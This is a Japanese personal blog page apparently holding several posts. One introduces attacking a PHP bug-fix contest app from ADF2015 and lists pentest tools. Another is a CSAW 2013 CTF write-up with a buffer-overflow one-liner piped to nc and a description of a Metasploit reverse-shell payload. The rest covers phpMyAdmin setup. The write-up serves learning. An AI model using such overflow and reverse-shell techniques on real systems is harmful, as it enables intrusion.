Bug Fix Backend を攻撃してみた
ADF2015のBug Fix Backendで利用したアプリケーションのバグを修正するのではなく、攻撃するという私が勝手にやりたかったコンテンツである。
ADF2015などについては、otameshi61.hatenablog.com
この記事では、2日目の夜にLT会の「Bug Fix Backendを攻撃してみた」において、話すつもりであったトピックに幾つか触れてみる。ちなみに、私のLTは2日目の最後であり諸々のスケジュールが押したため省略された。悲しい。
対象とするアプリケーションはBug Fix Backendで利用したもので、以下で公開している。画像などは少し変更している。また、いくつかのバグの修正と機能を加えている。
扱うセキュリティ上の問題
今回扱うセキュリティ上の問題は、主に3点
本文を書いてたら長くなったので、それぞれ別の記事にする。
近日公開予定と書いたが、記事を書かない気しかしない。
はじめに
攻撃をしながらセキュリティ上の問題を眺めてみることが本記事の目的である。
最近では便利なフレームワークがたくさんあり、フレームワークの規約にしたがっている限りはセキュリティ上の問題は発生しにくい。それはそれで良いのだが、有名なサイトでもクラックされている現状を見る限り、どこかに問題が入り込む可能性は捨てきれない。
ここで紹介するのはPHPだから起こる問題ではない。Web アプリケーションであれば、これらのセキュリティ上の問題が起こる可能性を内在している。大抵の場合、フレームワークがいつの間にかに問題が起きないようにうまく処理してくれている。
セキュリティ上の問題を身近に感じてもらいたいと思いこの記事を書いている。この記事が多少なりとでも、セキュリティ意識の向上につながれば嬉しい。
当然だが、このブログは上記アプリケーションを検査するためだけのものであり、一般に公開されているサイトに対して行ってはならない。また、本ブログで紹介する方法で被害が生じたとしても本ブログは一切責任をもたないものとする。これらを了承できない場合、これ以上読み進めるのは避けていただきたい。
なお、全体的に説明不足であり、網羅性に欠けている。さらにWebのセキュリティについて詳しく知りたい方は「体系的に学ぶ 安全なWebアプリケーションの作り方 脆弱性が生まれる原理と対策の実践」(通称、徳丸本)をぜひ読んで欲しい。
体系的に学ぶ 安全なWebアプリケーションの作り方 脆弱性が生まれる原理と対策の実践
- 作者: 徳丸浩
- 出版社/メーカー: ソフトバンククリエイティブ
- 発売日: 2011/03/03
- メディア: 大型本
- 購入: 119人 クリック: 4,283回
- この商品を含むブログ (144件) を見る
また、IPAからも安全なウェブサイトの作り方という資料がある。www.ipa.go.jp
本文中に間違いがあればぜひ知らせて欲しい。可能な限り早く対応する。
ツール
今回の記事で利用する予定のツールを一覧で紹介しておく。
VirtualBoxにKali Linuxを入れれば以下のすべてのツールが使える。どれもOS Xで動くためKali Linuxを入れる必要はない。それぞれのツールの利用法を検索した際にホストOSとしてKali Linuxが利用されていることが多いため紹介だけしておく。
ここで紹介するツールは非常に多機能なものが多く、すべての機能を説明することは不可能である。興味がわいたら各自調べて欲しい。
Kali Linux
https://www.kali.org/
侵入テストに特化したディストリビューション。侵入テストに有名なツールはすべて入ってる。
OWASP ZAP
https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project
Web アプリケーションのスキャンツール。稼働しているサービスのURLを与えれば、勝手にスキャンしてくれる。スキャンといってもデフォルトの設定でも不正なパラメータを大量に送りつけるため注意すること。
BeEF
http://beefproject.com/
Browser Exploitation Framework のひとつ。XSSが成立した後にブラウザを攻撃していくためのframework。
sqlmap
http://sqlmap.org/
SQL Injectionを自動でスキャンから攻撃まで行ってくれる。これも、デフォルトの設定では不正なパラメータを大量に送りつけるため注意すること。
ADF 2015 Bugfix Backend
リクルートホールディングス主催のADF 2015というイベントにスタッフとして参加してきた。その中で2日目のバグフィックス チャレンジというコンテンツを任された。
ADF 2015とは
ADF2015とはリクルートホールディングスが、3/28~3/30で行った就活中の学生エンジニア向けの2泊3日のイベントである。全体で100名規模のイベントとなっていた。また、東京の学生にも品川プリンスホテルの個室が割り当てられるなど、とてもあれがかかっていたイベントである。
1日目から2日目はチーム対抗で様々な競技(ゲームプログラミングやショートコーディング)で稼いだポイントを競い、3日目はハッカソンをするという流れになっている。
これらの入賞者には、それぞれ豪華商品が送られている。入賞者のブログなどぜひ見てみて欲しい。とてもあれがかかっている。
Bugfix Challenge とは
バグフィックスは、その名の通りにバグの渡されたプログラムを修正することだ。バグフィックス チャレンジでは、バグの修正できる力を競う。ジャンルは、iOS、Android、Web(Front)、Web(Backend)の4ジャンルを出題した。参加者は、これらのうちどれかを選択し解答することができる(複数選択可)。競技スタイルは個人戦とした。
参加者へのルール説明は以下のGitHubのレポジトリで行った。github.com
Backend の問題の環境
私はBugfixのBackendの問題を作成した。github.com
バックエンドのエンジニア向けのバグフィックスといっても、バックエンドで必要となる技術が多種多様で、共通して全員ができるものというのはなかなか無いと思う。今回は、参加者の中で触れたことの多そうな素のPHP(フレームワーク、テンプレートエンジン、ORMは使わない)とMySQLを利用した簡易ショッピングサイトを題材として扱うことにした。
作問について
バックエンドの問題では「報告されているバグリスト」というものを参加者に提示し、これらで報告されているバグを修正してもらうことにした。バックエンドでのバグは期待する動作がされていないものとし、一部の書き換えだけでなく、修正のためにプログラムを追加することが必要な箇所もあった。
バグは5題用意した。また、バグリスト以外にも多数の修正した方が良い箇所があり、これらの修正に関しても加点対象とした。PHP固有の問題(型にまつわる問題など)はあまり触れず、バックエンドのエンジニアならば原因の特定とフィックスができそうなバグを心掛けた。
対象のアプリケーションについて
こんなサイトを対象とした。
ちなみに、見た目がダサいはバグではない。
各問題について
以下のようなバグレポートをあげた。
# Bug1
"新しい品物!"で何も選択をしない場合で,"商品を追加する"を押した時は, 同じページにリダイレクトさせたいのに,index.phpに遷移してしまう.
# Bug2
login後に、"メッセージを残す"で自動的に名前の入力が投稿に反映されない
# Bug3
商品をすべて購入後に"新しい品物!"にアクセスすると表示がおかしくなる
# Bug4
"メッセージを残す"で"いつもお世話になってます!>_<b(>_<) Good Job!! >_< "などと打つとが表示がおかしくなる
# Bug5
一度購入したものも、ログアウトしてカートに入れた後にログインすると、カートに入ったままで再度購入ができてしまう
解答と講評
簡単にだが解答と講評を行う。
# Bug1
リダイレクト先がおかしいというバグ。リダイレクト先を指定のパスにすれば良い。 カートに何か入ってる場合は、/index.phpに入っていない場合は、/new_items.php?isNew=Nにリダイレクトするのが想定解であった。
多くの人ができていた。
# Bug2
disabled属性になっているinput要素のplaceholder属性にのみ属性値が設定されており値が送られていないというバグ。 想定解としては、disabled属性をreadonly属性にしvalue属性を追加させる方法であった。
# Bug3
while(true)でitemsがnullの時にループが停止しないというバグ。 想定解のひとつとして、breakへの条件である、 if ($counter == count($items)) { break; } を if ($counter >= count($items)) { break; } を想定していた。
itemsがnullであったらbreakするという、新たにif文を追加している人が多かった。
# Bug4
HTML escapeがされていないためタグの表示がおかしくなるというバグ。 想定解としては、出力前にhtmlspecialcharsの関数でエスケープする方法だった。
解答はデータベースに入れる前にエスケープしているものが多かった。
HTML エスケープは単純に'<' を'& lt;'などの文字実体参照に変換するものであり、データベースで保持する際にはエスケープ前のものを保持することを想定していた。
# Bug5
ログイン前にカートへの追加が可能なため、以前に購入したものを再度カートへ入れることができ要件をみたしていないというバグ。 想定解は、"購入履歴"に対応するhistory.phpの中のSQL 文を流用して、カート内に過去に購入したものがあった場合には自動で取り除く方法を想定していた。
カートへの追加をログイン後にのみ可能にする、ログイン処理の直後にカートを初期化するといった解答が多かった。
一位の方は、購入したもののみカートから取り除くという処理いれており、想定解通りの解答になっていた。素晴らしい。
全体の講評
Bug 5まである程度の修正を行えていた人は比較的多くいた。動作としては治っているが一時しのぎ的なもの、前後の流れをみて修正しているものなど解答も様々であった。
環境構築から、全体動作の理解、バグ報告されているバグの修正の全部を3時間でやってもらうという課題であったが、参加者からの感想や提出されて解答をみる限りでは3時間でやるには時間がやや足りない程度のボリュームだったようだ。
また、アプリケーションのルートディレクトリをwww/という記述をしたが、この設定ができなかったのか、リダイレクトなどのすべてのパスを絶対パスから相対パスに書き換えている解答が多くあった。
tipsだが、最近のPHPはサーバーも付属しているので、www/配下で
php -S localhost:5000
とすると、localhostに5000番ポートでカレントディレクトリをルートとしたPHPのサーバーが起動する。また、XAMPPなどでapacheを利用している場合、httpd.confのDocumentRootを指定することでアプリケーションのルートディレクトリを設定することができる。
感想
フレームワークを利用しないPHPについては、久しぶりに触ったという人がほとんどであったと思う。また、MySQLにはついては触ったことがないという人もいた。
直接話を聞く限りでは参加した人には楽しんでもらえたようで良かった。ただ、解答を提出してくれた半分程度の人には声をかけられたが、全員と話せなかったのが少し残念だった。ゆっくりと参加者同士で交流できる時間が欲しかった。
さて、2日目のLT会で話すはずだったが時間の都合上なくなった「Bug Fix Backendを攻撃してみた」についておまけで紹介する。興味があれば見てみてほしい。otameshi61.hatenablog.com
CSAW 2013 Exploit100,200
去年の大会のものです。
備忘録としてwriteup書きます。
やったものとしてはExploit100,200,300,400です。今回は100と200の説明をします。
問題はこちらにあります。
CTFを知らない方向けに説明するとExploitの問題とは、
あるサーバーで動いてるプログラムが渡されて、それを解析して脆弱性をみつけて攻撃を仕掛ける問題です。
最終的にはサーバー側にある(key.txt)といったファイルの中身を読み出すことが目標となります。
今回は、Exploit100は単純なbufferoveflow、Exploit200では最終的にサーバー側からshellを奪う(ソケット通信でshell(sshみたいな感じ)を起動する)ことで目標を達成します。
大会中はサーバーのIPとプログラムの稼動しているポート番号が知らされるのですが、もう停止してしまっているのでローカルでプログラムを実行しています。
他の方の書いたwriteupを読む限りASLRはどの問題でも無効となっていたようです。
Exploit 100
サーバ上で動いてる実行ファイルと、そのプログラムの一部が渡される。
プログラムは
[snip] void handle(int newsock) { int backdoor = 0; char buffer[1016]; memset(buffer, 0, 1016); send(newsock, "Welcome to CSAW CTF.", 21, 0); recv(newsock, buffer, 1020, 0); buffer[1015] = 0; if ( backdoor ) { fd = fopen("./key", "r"); fscanf(fd, "%s\n", buffer); send(newsock, buffer, 512, 0); } close(newsock); } [snip]
プログラムを見てみると、backdoorが0以外になった場合にkeyが出力されることが分かる。しかし通常ではここの分岐は通らない。今回の目標はここの条件に飛ばすことであると考えられる。
この問題では、recvの読み込みバイト数と、読み込み先のbufferの確保されたバイト数に着目する。recvでは1020バイト読み込もうとしているのに対し、bufferは1016バイトしか確保されていない。
ここで1016バイトより大きいサイズが読み込まれた場合、Buffer Overflowが起こることが分かる。
また関数内でbackdoorはbufferより先に宣言されることより、stack内では、backdoorのアドレス > bufferのアドレスとなり、Buffer Overflowが起きた際にbackdoorが書き変えられる。
よってこの問題では、とりあえず大量に文字を送ってやればkeyが手に入る。
# python -c "print 'a'*1020" | nc localhost 31337 Welcome to CSAW CTF.keydayoaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
※keyは"keydayo"をもつテキストファイル
Welcome to CSAW CTF.の後にkeyの中身が書き出されていることが分かる。
Exploit 200
実行ファイルのみ与えられる。
とりあえず接続してみる。
# nc localhost 31338 �����L~-Welcome to CSAW CTF. Exploitation 2 will be a little harder this year. Insert your exploit here:
という表示が得られる。
最初に文字化けした文字と、適当な文章が表示され、入力待ち状態になる。
これだけだと良く分からないので、詳細に見ていく。
まず、
# file exploit2 exploit2: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0xc796f194ec45ced8903694f93c194eed06b9139d, not stripped
fileコマンドより32ビットのELFファイルで、stripされていないファイル(解析しやすい)ということが分かる。
# checksec.sh --file exploit2 RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO No canary found NX disabled No PIE No RPATH No RUNPATH explo
NX disabledよりstack上での実行権があることがわかるので、stackにshellcodeを積んで実行を移す問題と予想が立てられる。
IDA proで見てみる。接続すると表示される部分はこのようなプログラムになっていることが分かる。
3度のsendを実行している。
最初にvar_80Cのアドレス、次にvar_Cの中身、最後に文章が送られてきている。
var_80Cはこの後に入力する内容が書き込まれる領域の先頭アドレス、var_Cには乱数が格納されておりstackから抜ける直前でこの値が変更されていないかチェックされる。この値が変更されていた場合Exitされてしまう。
関数の戻りアドレス(ベースアドレスの下に積まれている)を書き換えて、
shellcodeへ実行を移したいので、var_Cの値は保存したままbufferoverflowを起こすようにする。
以上よりpayloadの構成はshellcode + var_C + shellcodeの先頭アドレスが骨格となり、あとはstackの距離より調整すればよい。
shellcodeはバックコネクトでshellをつなぐものをmetasploitで作成して、ローカルの適当なマシンで受けるようにした。作成したソースコードはこんな感じ。
実行すると待ち受けているところでshellがつながれることが分かる。
macでphpmyadminの設定に詰まった話
マックでローカル開発環境を構築のため、phpmyadminをいれたところ、
config.ini.phpを作成してログインするための設定はしたが、
#2002 MySQLサーバにログインできません
と出て詰まってしまった。
調べたところ、phpmyadminではなく、phpの拡張モジュールのソケットの設定が必要らしい。
MySQLの環境は、ログインしてstatusコマンドを打ち込めばみることができる。
mysql> status -------------- mysql5 Ver 14.14 Distrib 5.1.68, for apple-darwin12.2.0 (i386) using readline 6.2 Connection id: 11 Current database: Current user: otameshi61@localhost SSL: Not in use Current pager: stdout Using outfile: '' Using delimiter: ; Server version: 5.1.68 Source distribution Protocol version: 10 Connection: Localhost via UNIX socket Server characterset: latin1 Db characterset: latin1 Client characterset: latin1 Conn. characterset: latin1 UNIX socket: /opt/local/var/run/mysql5/mysqld.sock Uptime: 11 hours 21 min 43 sec Threads: 1 Questions: 47 Slow queries: 0 Opens: 15 Flush tables: 1 Open tables: 8 Queries per second avg: 0.1 --------------
このUNIX socketのパスをphpの設定ファイルに書いてPHPからMySQLを使えるようにしてやればよい。
phpの設定ファイルは/etcにphp.ini.defaultというファイルがあるので、
cp php.ini.default php.ini
とし、php.iniファイルを作成して、
mysql.default_socket
mysqli.default_socket
にパスを通す。
mysql.default_socket = /opt/local/var/run/mysql5/mysqld.sock mysqli.default_socket = /opt/local/var/run/mysql5/mysqld.sock
これで、PHPからMySQLが使えるようになりphpmyadminもきちんと動くようになった。
(XAMPPを使うとここら辺の設定もすんでるだっけ...?)
はじめまして
はじめまして。